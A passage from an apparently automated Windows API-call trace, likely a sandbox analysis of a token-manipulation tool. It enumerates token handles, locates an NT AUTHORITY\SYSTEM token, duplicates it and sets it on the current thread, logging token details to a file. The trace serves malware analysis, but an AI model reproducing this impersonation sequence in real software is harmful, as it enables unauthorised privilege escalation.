out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.965] GetTokenInformation (in: TokenHandle=0x210, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.965] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.965] GetTokenInformation (in: TokenHandle=0x210, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.966] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.966] GetTokenInformation (in: TokenHandle=0x210, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.966] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.966] GetTokenInformation (in: TokenHandle=0x210, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.967] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.967] GetTokenInformation (in: TokenHandle=0x210, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.968] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.968] GetTokenInformation (in: TokenHandle=0x22c, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.968] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.968] GetTokenInformation (in: TokenHandle=0x22c, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.968] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.969] GetTokenInformation (in: TokenHandle=0x22c, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.969] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.969] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.969] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.969] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.969] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.969] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.970] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.970] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.970] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.970] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.970] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.970] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.970] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.970] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.971] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.971] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.971] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.971] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.971] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.971] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.971] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.971] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.973] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.973] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.976] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.976] GetTokenInformation (in: TokenHandle=0x1d8, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.977] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.977] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.987] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.987] GetTokenInformation (in: TokenHandle=0x170, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.988] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.988] GetTokenInformation (in: TokenHandle=0x174, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.988] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.988] GetTokenInformation (in: TokenHandle=0x178, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.988] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.988] GetTokenInformation (in: TokenHandle=0x174, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.988] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x178, Equal=0x10f9c0 | out: Equal=0x10f9c0) returned 0x0 [0196.988] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x17c, Equal=0x10f9c0 | out: Equal=0x10f9c0) returned 0x0 [0196.988] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.988] GetTokenInformation (in: TokenHandle=0x17c, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.988] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.988] GetTokenInformation (in: TokenHandle=0x180, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.989] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.989] GetTokenInformation (in: TokenHandle=0x184, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.989] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.989] GetTokenInformation (in: TokenHandle=0x188, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.989] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.989] GetTokenInformation (in: TokenHandle=0x18c, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.989] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.989] GetTokenInformation (in: TokenHandle=0x190, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.990] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0197.004] GetTokenInformation (in: TokenHandle=0x194, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0197.004] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0197.004] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0197.005] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0197.005] GetTokenInformation (in: TokenHandle=0x19c, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0197.005] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0197.005] GetTokenInformation (in: TokenHandle=0x1a0, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0197.005] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0197.005] GetTokenInformation (in: TokenHandle=0x1a4, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0197.006] GetTokenInformation (in: TokenHandle=0x170, TokenInformationClass=0xa, TokenInformation=0x10fa38, TokenInformationLength=0x38, ReturnLength=0x10fab8 | out: TokenInformation=0x10fa38, ReturnLength=0x10fab8) returned 1 [0197.006] GetTokenInformation (in: TokenHandle=0x170, TokenInformationClass=0x8, TokenInformation=0x10fa08, TokenInformationLength=0x4, ReturnLength=0x10f9c0 | out: TokenInformation=0x10fa08, ReturnLength=0x10f9c0) returned 1 [0197.006] DuplicateTokenEx (in: hExistingToken=0x170, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x1, TokenType=0x2, phNewToken=0x10f9c8 | out: phNewToken=0x10f9c8*=0x168) returned 1 [0197.006] CheckTokenMembership (in: TokenHandle=0x168, SidToCheck=0x16bb60*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), IsMember=0x10faa8 | out: IsMember=0x10faa8) returned 1 [0197.006] CloseHandle (hObject=0x168) returned 1 [0197.006] GetTokenInformation (in: TokenHandle=0x170, TokenInformationClass=0xa, TokenInformation=0x10f990, TokenInformationLength=0x38, ReturnLength=0x10fa00 | out: TokenInformation=0x10f990, ReturnLength=0x10fa00) returned 1 [0197.006] GetLastError () returned 0x5 [0197.007] SetLastError (dwErrCode=0x5) [0197.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{0;000003e7} ﷇ߾", cchWideChar=13, lpMultiByteStr=0x10e9b0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{0;000003e7} ", lpUsedDefaultChar=0x0) returned 13 [0197.007] WriteFile (in: hFile=0x720, lpBuffer=0x10e9b0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x10e2f0, lpOverlapped=0x0 | out: lpBuffer=0x10e9b0*, lpNumberOfBytesWritten=0x10e2f0*=0xd, lpOverlapped=0x0) returned 1 [0197.007] GetTokenInformation (in: TokenHandle=0x170, TokenInformationClass=0xc, TokenInformation=0x10fa08, TokenInformationLength=0x4, ReturnLength=0x10fa00 | out: TokenInformation=0x10fa08, ReturnLength=0x10fa00) returned 1 [0197.007] GetLastError () returned 0x5 [0197.007] SetLastError (dwErrCode=0x5) [0197.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="0 ;000003e7} ﷇ߾", cchWideChar=2, lpMultiByteStr=0x10e9b0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0 ;000003e7} ", lpUsedDefaultChar=0x0) returned 2 [0197.007] WriteFile (in: hFile=0x720, lpBuffer=0x10e9b0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2f0, lpOverlapped=0x0 | out: lpBuffer=0x10e9b0*, lpNumberOfBytesWritten=0x10e2f0*=0x2, lpOverlapped=0x0) returned 1 [0197.007] GetTokenInformation (in: TokenHandle=0x170, TokenInformationClass=0x12, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10fa00 | out: TokenInformation=0x10f970, ReturnLength=0x10fa00) returned 1 [0197.007] GetLastError () returned 0x5 [0197.007] SetLastError (dwErrCode=0x5) [0197.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="D ;000003e7} ﷇ߾", cchWideChar=2, lpMultiByteStr=0x10e9b0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D ;000003e7} ", lpUsedDefaultChar=0x0) returned 2 [0197.008] WriteFile (in: hFile=0x720, lpBuffer=0x10e9b0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2f0, lpOverlapped=0x0 | out: lpBuffer=0x10e9b0*, lpNumberOfBytesWritten=0x10e2f0*=0x2, lpOverlapped=0x0) returned 1 [0197.008] GetLastError () returned 0x5 [0197.008] SetLastError (dwErrCode=0x5) [0197.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="13358 \x09} ﷇ߾", cchWideChar=11, lpMultiByteStr=0x10e9b0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="13358 \x09} ", lpUsedDefaultChar=0x0) returned 11 [0197.008] WriteFile (in: hFile=0x720, lpBuffer=0x10e9b0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x10e2f0, lpOverlapped=0x0 | out: lpBuffer=0x10e9b0*, lpNumberOfBytesWritten=0x10e2f0*=0xb, lpOverlapped=0x0) returned 1 [0197.008] GetTokenInformation (in: TokenHandle=0x170, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x10f974 | out: TokenInformation=0x0, ReturnLength=0x10f974) returned 0 [0197.008] GetLastError () returned 0x7a [0197.008] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x18e150 [0197.008] GetTokenInformation (in: TokenHandle=0x170, TokenInformationClass=0x1, TokenInformation=0x18e150, TokenInformationLength=0x1c, ReturnLength=0x10f974 | out: TokenInformation=0x18e150, ReturnLength=0x10f974) returned 1 [0197.008] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x18e160*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x0, cchName=0x10f8c0, ReferencedDomainName=0x0, cchReferencedDomainName=0x10f908, peUse=0x10f8c4 | out: Name=0x0, cchName=0x10f8c0, ReferencedDomainName=0x0, cchReferencedDomainName=0x10f908, peUse=0x10f8c4) returned 0 [0197.015] GetLastError () returned 0x7a [0197.015] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x185ae0 [0197.015] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x18e180 [0197.015] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x18e160*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x185ae0, cchName=0x10f8c0, ReferencedDomainName=0x18e180, cchReferencedDomainName=0x10f908, peUse=0x10f8c4 | out: Name="SYSTEM", cchName=0x10f8c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x10f908, peUse=0x10f8c4) returned 1 [0197.016] ConvertSidToStringSidW () returned 0x1 [0197.016] LocalFree (hMem=0x18e150) returned 0x0 [0197.016] GetLastError () returned 0x0 [0197.016] SetLastError (dwErrCode=0x0) [0197.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NT AUTHORITY\\SYSTEM\x09S-1-5-18", cchWideChar=28, lpMultiByteStr=0x10e9b0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NT AUTHORITY\\SYSTEM\x09S-1-5-18", lpUsedDefaultChar=0x0) returned 28 [0197.016] WriteFile (in: hFile=0x720, lpBuffer=0x10e9b0*, nNumberOfBytesToWrite=0x1c, lpNumberOfBytesWritten=0x10e2f0, lpOverlapped=0x0 | out: lpBuffer=0x10e9b0*, lpNumberOfBytesWritten=0x10e2f0*=0x1c, lpOverlapped=0x0) returned 1 [0197.016] LocalFree (hMem=0x185ae0) returned 0x0 [0197.016] LocalFree (hMem=0x18e180) returned 0x0 [0197.016] LocalFree (hMem=0x185ac0) returned 0x0 [0197.016] GetLastError () returned 0x0 [0197.016] SetLastError (dwErrCode=0x0) [0197.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09(04g,30p)\x09PrimaryM\x09S-1-5-18", cchWideChar=18, lpMultiByteStr=0x10e9b0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09(04g,30p)\x09PrimaryM\x09S-1-5-18", lpUsedDefaultChar=0x0) returned 18 [0197.016] WriteFile (in: hFile=0x720, lpBuffer=0x10e9b0*, nNumberOfBytesToWrite=0x12, lpNumberOfBytesWritten=0x10e2f0, lpOverlapped=0x0 | out: lpBuffer=0x10e9b0*, lpNumberOfBytesWritten=0x10e2f0*=0x12, lpOverlapped=0x0) returned 1 [0197.016] GetLastError () returned 0x0 [0197.016] SetLastError (dwErrCode=0x0) [0197.017] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\n04g,30p)\x09PrimaryM\x09S-1-5-18", cchWideChar=2, lpMultiByteStr=0x10e9b0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n04g,30p)\x09PrimaryM\x09S-1-5-18", lpUsedDefaultChar=0x0) returned 2 [0197.017] WriteFile (in: hFile=0x720, lpBuffer=0x10e9b0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2f0, lpOverlapped=0x0 | out: lpBuffer=0x10e9b0*, lpNumberOfBytesWritten=0x10e2f0*=0x2, lpOverlapped=0x0) returned 1 [0197.017] DuplicateTokenEx (in: hExistingToken=0x170, dwDesiredAccess=0xc, lpTokenAttributes=0x0, ImpersonationLevel=0x3, TokenType=0x2, phNewToken=0x10fa20 | out: phNewToken=0x10fa20*=0x168) returned 1 [0197.017] SetThreadToken (Thread=0x0, Token=0x168) returned 1 [0197.017] GetCurrentProcess () returned 0xffffffffffffffff [0197.017] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x10fa00 | out: TokenHandle=0x10fa00*=0x16c) returned 1 [0197.017] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xa, TokenInformation=0x10f960, TokenInformationLength=0x38, ReturnLength=0x10f9d0 | out: TokenInformation=0x10f960, ReturnLength=0x10f9d0) returned 1 [0197.017] GetLastError () returned 0x0 [0197.017] SetLastError (dwErrCode=0x0) [0197.017] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{0;0000eb80} ", cchWideChar=13, lpMultiByteStr=0x10e980, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{0;0000eb80} ", lpUsedDefaultChar=0x0) returned 13 [0197.017] WriteFile (in: hFile=0x720, lpBuffer=0x10e980*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x10e2c0, lpOverlapped=0x0 | out: lpBuffer=0x10e980*, lpNumberOfBytesWritten=0x10e2c0*=0xd, lpOverlapped=0x0) returned 1 [0197.017] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f9d8, TokenInformationLength=0x4, ReturnLength=0x10f9d0 | out: TokenInformation=0x10f9d8, ReturnLength=0x10f9d0) returned 1 [0197.017] GetLastError () returned 0x0 [0197.017] SetLastError (dwErrCode=0x0) [0197.017] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1 ;0000eb80} ", cchWideChar=2, lpMultiByteStr=0x10e980, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1 ;0000eb80} ", lpUsedDefaultChar=0x0) returned 2 [0197.018] WriteFile (in: hFile=0x720, lpBuffer=0x10e980*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2c0, lpOverlapped=0x0 | out: lpBuffer=0x10e980*, lpNumberOfBytesWritten=0x10e2c0*=0x2, lpOverlapped=0x0) returned 1 [0197.018] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x12, TokenInformation=0x10f940, TokenInformationLength=0x4, ReturnLength=0x10f9d0 | out: TokenInformation=0x10f940, ReturnLength=0x10f9d0) returned 1 [0197.018] GetLastError () returned 0x0 [0197.018] SetLastError (dwErrCode=0x0) [0197.018] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="F ;0000eb80} 